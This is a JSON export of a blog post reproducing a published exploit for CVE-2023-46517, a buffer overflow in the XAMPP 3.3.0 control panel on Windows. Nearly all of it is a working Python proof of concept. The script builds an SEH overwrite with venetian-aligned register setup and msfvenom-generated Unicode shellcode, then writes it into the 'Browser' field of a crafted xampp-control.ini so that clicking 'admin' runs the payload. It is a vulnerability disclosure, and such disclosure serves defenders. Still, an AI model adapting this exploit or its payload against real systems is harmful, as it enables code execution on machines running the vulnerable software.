{"id":50660,"date":"2023-10-27T17:12:46","date_gmt":"2023-10-27T14:12:46","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/175381\/xampp330-overflow.txt"},"modified":"2023-10-31T08:55:32","modified_gmt":"2023-10-31T05:25:32","slug":"xampp-3-3-0-buffer-overflow","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/xampp-3-3-0-buffer-overflow\/","title":{"rendered":"XAMPP 3.3.0 Buffer Overflow"},"content":{"rendered":"<p># Exploit Title: XAMPP v3.3.0 \u2014 &#8216;.ini&#8217; Buffer Overflow (Unicode + SEH)<br \/>\n# Date: 2023-10-26<br \/>\n# Author: Talson (@Ripp3rdoc)<br \/>\n# Software Link: https:\/\/sourceforge.net\/projects\/xampp\/files\/XAMPP%20Windows\/8.0.28\/xampp-windows-x64-8.0.28-0-VS16-installer.exe<br \/>\n# Version: 3.3.0<br \/>\n# Tested on: Windows 11<br \/>\n# CVE-2023-46517<\/p>\n<p>##########################################################<br \/>\n# _________ _______ _ _______ _______ _ #<br \/>\n# \\__ __\/( ___ )( \\ ( ____ \\( ___ )( ( \/| #<br \/>\n# ) ( | ( ) || ( | ( \\\/| ( ) || \\ ( | #<br \/>\n# | | | (___) || | | (_____ | | | || \\ | | #<br \/>\n# | | | ___ || | (_____ )| | | || (\\ \\) | #<br \/>\n# | | | ( ) || | ) || | | || | \\ | #<br \/>\n# | | | ) ( || (____\/\\\/\\____) || (___) || ) \\ | #<br \/>\n# )_( |\/ \\|(_______\/\\_______)(_______)|\/ )_) #<br \/>\n# #<br \/>\n##########################################################<\/p>\n<p># Proof of Concept:<\/p>\n<p># 1.- Run the python script &#8220;poc.py&#8221;, it will create a new file &#8220;xampp-control.ini&#8221;<br \/>\n# 2.- Open the application (xampp-control.exe)<br \/>\n# 3.- Click on the &#8220;admin&#8221; button in front of Apache service.<br \/>\n# 4.- Profit<\/p>\n<p># Proof-of-Concept code on GitHub: https:\/\/github.com\/ripp3rdoc\/XAMPPv3.3.0-BOF\/<\/p>\n<p># Greetingz to EMU TEAM (\u00ac\u203f\u00ac)\u2a59<\/p>\n<p>from pwn import *<br \/>\nimport shutil<br \/>\nimport os.path<\/p>\n<p>buffer = &#8220;\\x41&#8221; * 268 # 268 bytes to fill the buffer<br \/>\nnseh = &#8220;\\x59\\x71&#8221; # next SEH address \u2014 0x00590071 (a harmless padding)<br \/>\nseh = &#8220;\\x15\\x43&#8221; # SEH handler \u2014 0x00430015: pop ecx ; pop ebp ; ret ;<br \/>\npadd = &#8220;\\x71&#8221; * 0x55 # padding<\/p>\n<p>eax_align = &#8220;\\x47&#8221; # venetian pad\/align<br \/>\neax_align += &#8220;\\x51&#8221; # push ecx<br \/>\neax_align += &#8220;\\x71&#8221; # venetian pad\/align<br \/>\neax_align += &#8220;\\x58&#8221; # pop eax -&gt; eax = 0019e1a0<br \/>\neax_align += &#8220;\\x71&#8221; # venetian pad\/align<br \/>\neax_align += &#8220;\\x05\\x24\\x11&#8221; # add eax,0x11002300<br \/>\neax_align += &#8220;\\x71&#8221; # venetian pad\/align<br \/>\neax_align += &#8220;\\x2d\\x11\\x11&#8221; # sub eax,0x11001100 -&gt; eax = 0019F3DC<br \/>\neax_align += &#8220;\\x71&#8221; # venetian pad\/align<br \/>\neax_align += &#8220;\\x50&#8221; # push eax<br \/>\neax_align += &#8220;\\x71&#8221; # pad to align the following ret<br \/>\neax_align += &#8220;\\xc3&#8221;; # ret into eax?<\/p>\n<p># msfvenom -p windows\/exec CMD=calc.exe -e x86\/unicode_mixed -f raw EXITFUNC=thread BufferRegister=EAX -o shellcode.bin<br \/>\n# Payload size: 512 bytes<br \/>\nshellcode = (<br \/>\n&#8220;PPYAIAIAIAIAIAIAIAIAIAIAIAIAIAIAjXAQADAZABARALAYAIAQAIAQAIAhAAAZ1AIAIAJ11AIAIABABABQI1&#8221;<br \/>\n&#8220;AIQIAIQI111AIAJQYAZBABABABABkMAGB9u4JBkLzHrbM0ipm0c0bi7u01Ep1TBkb0nPdKR2zlrknrKdDK42Kx&#8221;<br \/>\n&#8220;Jo6WpJnFLqiofLMl1QallBLlO0gQxOzmjagW7rZRObpWBkNrZpdKMzmlBkNlzq1hZC0HKQwab1dKQIKp9qiCrk&#8221;<br \/>\n&#8220;myKhGslzoYtKMdTKkQJ6ma9odlgQ8OJmM1vg08iPD5yfjcSMjXOKQmnDRUhdaH4KR8mTIq7c2FDKjlpKrkaHML&#8221;<br \/>\n&#8220;JaZ3dKItrkYqhPU9MtO4KtOk1KC1QI1JNqKO9P1OOoqJtKn2HkRmOmaZjatMbe7BYpm0kPR0PhmadKRODGioj57&#8221;<br \/>\n&#8220;KgpmMnJZjoxDfceemCmYo9EmlivcL9zE0ikWpQe9ugKoWKcprpo2Jip23KOHUQSaQ0l33Lns5PxrEKPAA&#8221;<br \/>\n)<\/p>\n<p>shellcode = buffer + nseh + seh + eax_align + padd + shellcode<\/p>\n<p>check_file = os.path.isfile(&#8220;c:\\\\xampp\\\\xampp-control.ini&#8221;)<\/p>\n<p>if check_file:<\/p>\n<p>print(&#8220;[!] Backup file found. Generating the POC file&#8230;&#8221;)<br \/>\npass<br \/>\nelse:<br \/>\n# create backup<br \/>\ntry:<br \/>\nshutil.copyfile(&#8220;c:\\\\xampp\\\\xampp-control.ini&#8221;, &#8220;c:\\\\xampp\\\\xampp-control.ini.bak&#8221;)<br \/>\nprint(&#8220;[+] Creating backup for xampp-control.ini&#8230;&#8221;)<br \/>\nprint(&#8220;[+] Backup file created!&#8221;)<br \/>\nexcept Exception as e:<br \/>\nprint(&#8220;[!] Failed creating a backup for xampp-control.ini: &#8220;, e)<\/p>\n<p>try:<\/p>\n<p># Create the new file<br \/>\nwith open(&#8220;c:\\\\xampp\\\\xampp-control.ini&#8221;, &#8220;w&#8221;, encoding=&#8217;utf-8&#8242;) as file:<br \/>\nfile.write(f&#8221;&#8221;&#8221;[Common]\nEdition=<br \/>\nEditor=<br \/>\nBrowser={shellcode}<\/p>\n<p>Debug=0<br \/>\nDebuglevel=0<br \/>\nLanguage=en<br \/>\nTomcatVisible=1<br \/>\nMinimized=0<\/p>\n[LogSettings]\nFont=Arial<br \/>\nFontSize=10<\/p>\n[WindowSettings]\nLeft=-1<br \/>\nTop=-1<br \/>\nWidth=682<br \/>\nHeight=441<\/p>\n[Autostart]\nApache=0<br \/>\nMySQL=0<br \/>\nFileZilla=0<br \/>\nMercury=0<br \/>\nTomcat=0<\/p>\n[Checks]\nCheckRuntimes=1<br \/>\nCheckDefaultPorts=1<\/p>\n[ModuleNames]\nApache=Apache<br \/>\nMySQL=MySQL<br \/>\nMercury=Mercury<br \/>\nTomcat=Tomcat<\/p>\n[EnableModules]\nApache=1<br \/>\nMySQL=1<br \/>\nFileZilla=1<br \/>\nMercury=1<br \/>\nTomcat=1<\/p>\n[EnableServices]\nApache=1<br \/>\nMySQL=1<br \/>\nFileZilla=1<br \/>\nTomcat=1<\/p>\n[BinaryNames]\nApache=httpd.exe<br \/>\nMySQL=mysqld.exe<br \/>\nFileZilla=filezillaserver.exe<br \/>\nFileZillaAdmin=filezilla server interface.exe<br \/>\nMercury=mercury.exe<br \/>\nTomcat=tomcat8.exe<\/p>\n[ServiceNames]\nApache=Apache2.4<br \/>\nMySQL=mysql<br \/>\nFileZilla=FileZillaServer<br \/>\nTomcat=Tomcat<br \/>\n[ServicePorts]\nApache=80<br \/>\nApacheSSL=443<br \/>\nMySQL=3306<br \/>\nFileZilla=21<br \/>\nFileZill=14147<br \/>\nMercury1=25<br \/>\nMercury2=79<br \/>\nMercury3=105<br \/>\nMercury4=106<br \/>\nMercury5=110<br \/>\nMercury6=143<br \/>\nMercury7=2224<br \/>\nTomcatHTTP=8080<br \/>\nTomcatAJP=8009<br \/>\nTomcat=8005<br \/>\n[UserConfigs]\nApache=<br \/>\nMySQL=<br \/>\nFileZilla=<br \/>\nMercury=<br \/>\nTomcat=<\/p>\n[UserLogs]\nApache=<br \/>\nMySQL=<br \/>\nFileZilla=<br \/>\nMercury=<br \/>\nTomcat=<br \/>\n&#8220;&#8221;&#8221;)<br \/>\nprint(&#8220;[+] Created the POC!&#8221;)<\/p>\n<p>except Exception as e:<br \/>\nprint(&#8220;[!] Failed creating the POC xampp-control.ini: &#8220;, e)<\/p>\n","protected":false},"excerpt":{"rendered":"<p># Exploit Title: XAMPP v3.3.0 \u2014 &#8216;.ini&#8217; Buffer Overflow (Unicode + SEH) # Date: 2023-10-26 # Author: Talson (@Ripp3rdoc) # Software Link: https:\/\/sourceforge.net\/projects\/xampp\/files\/XAMPP%20Windows\/8.0.28\/xampp-windows-x64-8.0.28-0-VS16-installer.exe # Version: 3.3.0 # Tested on: Windows 11 # CVE-2023-46517 ########################################################## # _________ _______ _ _______ _______ _ # # \\__ __\/( ___ )( \\ ( ____ \\( ___ )( ( \/| &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-50660","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/50660","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=50660"}],"version-history":[{"count":1,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/50660\/revisions"}],"predecessor-version":[{"id":50763,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/50660\/revisions\/50763"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=50660"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=50660"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=50660"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}